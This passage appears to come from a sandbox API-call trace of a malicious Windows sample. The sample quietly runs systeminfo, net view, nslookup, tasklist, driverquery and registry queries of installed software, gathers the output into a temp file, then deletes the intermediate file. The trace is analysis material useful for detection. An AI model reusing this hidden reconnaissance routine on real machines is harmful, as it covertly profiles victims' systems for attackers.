(HeapHandle=0x9770000, Flags=0x0, Size=0x5c) returned 0x9a7f110 [0096.109] wsprintfA (in: param_1=0x9a7f110, param_2="cmd /C \"%s> %s1\"" | out: param_1="cmd /C \"systeminfo.exe > C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"") returned 72 [0096.113] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd /C \"systeminfo.exe > C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0xc000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x765f7c0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x765f790 | out: lpCommandLine="cmd /C \"systeminfo.exe > C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessInformation=0x765f790*(hProcess=0x3d0, hThread=0x6f8, dwProcessId=0x86c, dwThreadId=0x950)) returned 1 [0096.558] WaitForMultipleObjects (nCount=0x2, lpHandles=0x765f7a8*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0126.127] GetExitCodeProcess (in: hProcess=0x3d0, lpExitCode=0x765f850 | out: lpExitCode=0x765f850*=0x0) returned 1 [0126.127] CloseHandle (hObject=0x6f8) returned 1 [0126.127] CloseHandle (hObject=0x3d0) returned 1 [0126.127] wsprintfA (in: param_1=0x9a7f110, param_2="cmd /C \"%s> %s1\"" | out: param_1="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"") returned 72 [0126.127] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0xc000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x765f7c0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x765f790 | out: lpCommandLine="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessInformation=0x765f790*(hProcess=0x6f8, hThread=0x3d0, dwProcessId=0x250, dwThreadId=0x310)) returned 1 [0126.133] WaitForMultipleObjects (nCount=0x2, lpHandles=0x765f7a8*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0126.244] GetExitCodeProcess (in: hProcess=0x6f8, lpExitCode=0x765f850 | out: lpExitCode=0x765f850*=0x0) returned 1 [0126.244] CloseHandle (hObject=0x3d0) returned 1 [0126.244] CloseHandle (hObject=0x6f8) returned 1 [0126.244] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0126.244] lstrlenA (lpString="net view >") returned 10 [0126.244] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin") returned 45 [0126.244] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x57) returned 0x9b6dd20 [0126.244] wsprintfA (in: param_1=0x9b6dd20, param_2="cmd /C \"%s> %s1\"" | out: param_1="cmd /C \"net view >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"") returned 67 [0126.244] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd /C \"net view >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0xc000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x765f7c0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x765f790 | out: lpCommandLine="cmd /C \"net view >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessInformation=0x765f790*(hProcess=0x3d0, hThread=0x6f8, dwProcessId=0x248, dwThreadId=0x204)) returned 1 [0126.249] WaitForMultipleObjects (nCount=0x2, lpHandles=0x765f7a8*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0140.066] GetExitCodeProcess (in: hProcess=0x3d0, lpExitCode=0x765f850 | out: lpExitCode=0x765f850*=0x2) returned 1 [0140.066] CloseHandle (hObject=0x6f8) returned 1 [0140.066] CloseHandle (hObject=0x3d0) returned 1 [0140.066] wsprintfA (in: param_1=0x9b6dd20, param_2="cmd /C \"%s> %s1\"" | out: param_1="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"") returned 72 [0140.066] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0xc000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x765f7c0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x765f790 | out: lpCommandLine="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessInformation=0x765f790*(hProcess=0x6f8, hThread=0x3d0, dwProcessId=0x7dc, dwThreadId=0x218)) returned 1 [0140.072] WaitForMultipleObjects (nCount=0x2, lpHandles=0x765f7a8*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0140.220] GetExitCodeProcess (in: hProcess=0x6f8, lpExitCode=0x765f850 | out: lpExitCode=0x765f850*=0x0) returned 1 [0140.220] CloseHandle (hObject=0x3d0) returned 1 [0140.220] CloseHandle (hObject=0x6f8) returned 1 [0140.220] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dd20 | out: hHeap=0x9770000) returned 1 [0140.220] lstrlenA (lpString="nslookup 127.0.0.1 >") returned 20 [0140.220] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin") returned 45 [0140.220] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x61) returned 0x9a7f110 [0140.220] wsprintfA (in: param_1=0x9a7f110, param_2="cmd /C \"%s> %s1\"" | out: param_1="cmd /C \"nslookup 127.0.0.1 >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"") returned 77 [0140.220] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd /C \"nslookup 127.0.0.1 >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0xc000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x765f7c0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x765f790 | out: lpCommandLine="cmd /C \"nslookup 127.0.0.1 >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessInformation=0x765f790*(hProcess=0x3d0, hThread=0x6f8, dwProcessId=0x610, dwThreadId=0xa18)) returned 1 [0140.225] WaitForMultipleObjects (nCount=0x2, lpHandles=0x765f7a8*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0140.975] GetExitCodeProcess (in: hProcess=0x3d0, lpExitCode=0x765f850 | out: lpExitCode=0x765f850*=0x0) returned 1 [0140.975] CloseHandle (hObject=0x6f8) returned 1 [0140.975] CloseHandle (hObject=0x3d0) returned 1 [0140.975] wsprintfA (in: param_1=0x9a7f110, param_2="cmd /C \"%s> %s1\"" | out: param_1="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"") returned 72 [0140.975] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0xc000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x765f7c0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x765f790 | out: lpCommandLine="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessInformation=0x765f790*(hProcess=0x6f8, hThread=0x3d0, dwProcessId=0x8e8, dwThreadId=0x8e0)) returned 1 [0140.980] WaitForMultipleObjects (nCount=0x2, lpHandles=0x765f7a8*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0141.767] GetExitCodeProcess (in: hProcess=0x6f8, lpExitCode=0x765f850 | out: lpExitCode=0x765f850*=0x0) returned 1 [0141.767] CloseHandle (hObject=0x3d0) returned 1 [0141.767] CloseHandle (hObject=0x6f8) returned 1 [0141.767] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0141.767] lstrlenA (lpString="tasklist.exe /SVC >") returned 19 [0141.767] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin") returned 45 [0141.767] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0141.767] wsprintfA (in: param_1=0x9a7f110, param_2="cmd /C \"%s> %s1\"" | out: param_1="cmd /C \"tasklist.exe /SVC >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"") returned 76 [0141.767] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd /C \"tasklist.exe /SVC >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0xc000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x765f7c0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x765f790 | out: lpCommandLine="cmd /C \"tasklist.exe /SVC >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessInformation=0x765f790*(hProcess=0x3d0, hThread=0x6f8, dwProcessId=0x87c, dwThreadId=0x880)) returned 1 [0141.772] WaitForMultipleObjects (nCount=0x2, lpHandles=0x765f7a8*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0143.558] GetExitCodeProcess (in: hProcess=0x3d0, lpExitCode=0x765f850 | out: lpExitCode=0x765f850*=0x0) returned 1 [0143.558] CloseHandle (hObject=0x6f8) returned 1 [0143.558] CloseHandle (hObject=0x3d0) returned 1 [0143.558] wsprintfA (in: param_1=0x9a7f110, param_2="cmd /C \"%s> %s1\"" | out: param_1="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"") returned 72 [0143.558] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0xc000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x765f7c0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x765f790 | out: lpCommandLine="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessInformation=0x765f790*(hProcess=0x6f8, hThread=0x3d0, dwProcessId=0x888, dwThreadId=0x9d0)) returned 1 [0143.563] WaitForMultipleObjects (nCount=0x2, lpHandles=0x765f7a8*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0143.683] GetExitCodeProcess (in: hProcess=0x6f8, lpExitCode=0x765f850 | out: lpExitCode=0x765f850*=0x0) returned 1 [0143.683] CloseHandle (hObject=0x3d0) returned 1 [0143.683] CloseHandle (hObject=0x6f8) returned 1 [0143.683] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0143.688] lstrlenA (lpString="driverquery.exe >") returned 17 [0143.688] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin") returned 45 [0143.688] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x5e) returned 0x9a7f110 [0143.688] wsprintfA (in: param_1=0x9a7f110, param_2="cmd /C \"%s> %s1\"" | out: param_1="cmd /C \"driverquery.exe >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"") returned 74 [0143.688] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd /C \"driverquery.exe >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0xc000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x765f7c0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x765f790 | out: lpCommandLine="cmd /C \"driverquery.exe >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessInformation=0x765f790*(hProcess=0x3d0, hThread=0x6f8, dwProcessId=0xa54, dwThreadId=0x9ec)) returned 1 [0143.693] WaitForMultipleObjects (nCount=0x2, lpHandles=0x765f7a8*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0146.382] GetExitCodeProcess (in: hProcess=0x3d0, lpExitCode=0x765f850 | out: lpExitCode=0x765f850*=0x0) returned 1 [0146.382] CloseHandle (hObject=0x6f8) returned 1 [0146.382] CloseHandle (hObject=0x3d0) returned 1 [0146.382] wsprintfA (in: param_1=0x9a7f110, param_2="cmd /C \"%s> %s1\"" | out: param_1="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"") returned 72 [0146.393] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0xc000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x765f7c0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x765f790 | out: lpCommandLine="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessInformation=0x765f790*(hProcess=0x6f8, hThread=0x3d0, dwProcessId=0x41c, dwThreadId=0x5fc)) returned 1 [0146.398] WaitForMultipleObjects (nCount=0x2, lpHandles=0x765f7a8*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0146.480] GetExitCodeProcess (in: hProcess=0x6f8, lpExitCode=0x765f850 | out: lpExitCode=0x765f850*=0x0) returned 1 [0146.480] CloseHandle (hObject=0x3d0) returned 1 [0146.480] CloseHandle (hObject=0x6f8) returned 1 [0146.480] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0146.480] lstrlenA (lpString="reg.exe query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s >") returned 77 [0146.480] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin") returned 45 [0146.480] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x9a) returned 0x9a6e990 [0146.480] wsprintfA (in: param_1=0x9a6e990, param_2="cmd /C \"%s> %s1\"" | out: param_1="cmd /C \"reg.exe query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"") returned 134 [0146.480] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd /C \"reg.exe query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0xc000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x765f7c0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x765f790 | out: lpCommandLine="cmd /C \"reg.exe query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessInformation=0x765f790*(hProcess=0x3d0, hThread=0x6f8, dwProcessId=0x810, dwThreadId=0x860)) returned 1 [0146.485] WaitForMultipleObjects (nCount=0x2, lpHandles=0x765f7a8*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0148.702] GetExitCodeProcess (in: hProcess=0x3d0, lpExitCode=0x765f850 | out: lpExitCode=0x765f850*=0x0) returned 1 [0148.702] CloseHandle (hObject=0x6f8) returned 1 [0148.702] CloseHandle (hObject=0x3d0) returned 1 [0148.702] wsprintfA (in: param_1=0x9a6e990, param_2="cmd /C \"%s> %s1\"" | out: param_1="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"") returned 72 [0148.702] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0xc000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x765f7c0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x765f790 | out: lpCommandLine="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessInformation=0x765f790*(hProcess=0x6f8, hThread=0x3d0, dwProcessId=0x900, dwThreadId=0x8f8)) returned 1 [0148.707] WaitForMultipleObjects (nCount=0x2, lpHandles=0x765f7a8*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0148.791] GetExitCodeProcess (in: hProcess=0x6f8, lpExitCode=0x765f850 | out: lpExitCode=0x765f850*=0x0) returned 1 [0148.791] CloseHandle (hObject=0x3d0) returned 1 [0148.791] CloseHandle (hObject=0x6f8) returned 1 [0148.791] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0148.791] lstrlenA (lpString="reg.exe query \"HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s >") returned 89 [0148.791] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin") returned 45 [0148.791] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xa6) returned 0x9a6e990 [0148.791] wsprintfA (in: param_1=0x9a6e990, param_2="cmd /C \"%s> %s1\"" | out: param_1="cmd /C \"reg.exe query \"HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"") returned 146 [0148.791] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd /C \"reg.exe query \"HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0xc000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x765f7c0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x765f790 | out: lpCommandLine="cmd /C \"reg.exe query \"HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessInformation=0x765f790*(hProcess=0x3d0, hThread=0x6f8, dwProcessId=0x848, dwThreadId=0x934)) returned 1 [0148.796] WaitForMultipleObjects (nCount=0x2, lpHandles=0x765f7a8*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0151.354] GetExitCodeProcess (in: hProcess=0x3d0, lpExitCode=0x765f850 | out: lpExitCode=0x765f850*=0x0) returned 1 [0151.354] CloseHandle (hObject=0x6f8) returned 1 [0151.354] CloseHandle (hObject=0x3d0) returned 1 [0151.354] wsprintfA (in: param_1=0x9a6e990, param_2="cmd /C \"%s> %s1\"" | out: param_1="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"") returned 72 [0151.354] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0xc000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x765f7c0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x765f790 | out: lpCommandLine="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessInformation=0x765f790*(hProcess=0x6f8, hThread=0x3d0, dwProcessId=0x904, dwThreadId=0x43c)) returned 1 [0151.359] WaitForMultipleObjects (nCount=0x2, lpHandles=0x765f7a8*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0151.438] GetExitCodeProcess (in: hProcess=0x6f8, lpExitCode=0x765f850 | out: lpExitCode=0x765f850*=0x0) returned 1 [0151.438] CloseHandle (hObject=0x3d0) returned 1 [0151.438] CloseHandle (hObject=0x6f8) returned 1 [0151.439] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0151.439] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin") returned 45 [0151.439] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xab) returned 0x9a6e990 [0151.439] wsprintfA (in: param_1=0x9a6e990, param_2="cmd /U /C \"type %s1 > %s & del %s1\"" | out: param_1="cmd /U /C \"type C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1 > C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin & del C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"") returned 164 [0151.439] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd /U /C \"type C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1 > C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin & del C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0xc000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x765f7f0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x765f7c0 | out: lpCommandLine="cmd /U /C \"type C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1 > C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin & del C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"", lpProcessInformation=0x765f7c0*(hProcess=0x3d0, hThread=0x6f8, dwProcessId=0x580, dwThreadId=0x914)) returned 1 [0151.443] WaitForMultipleObjects (nCount=0x2, lpHandles=0x765f7d8*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0151.611] GetExitCodeProcess (in: hProcess=0x3d0, lpExitCode=0x765f880 | out: lpExitCode=0x765f880*=0x0) returned 1 [0151.612] CloseHandle (hObject=0x6f8) returned 1 [0151.612] CloseHandle (hObject=0x3d0) returned 1 [0151.612] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0151.617] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin") returned 45 [0151.617] RtlAllocateHeap 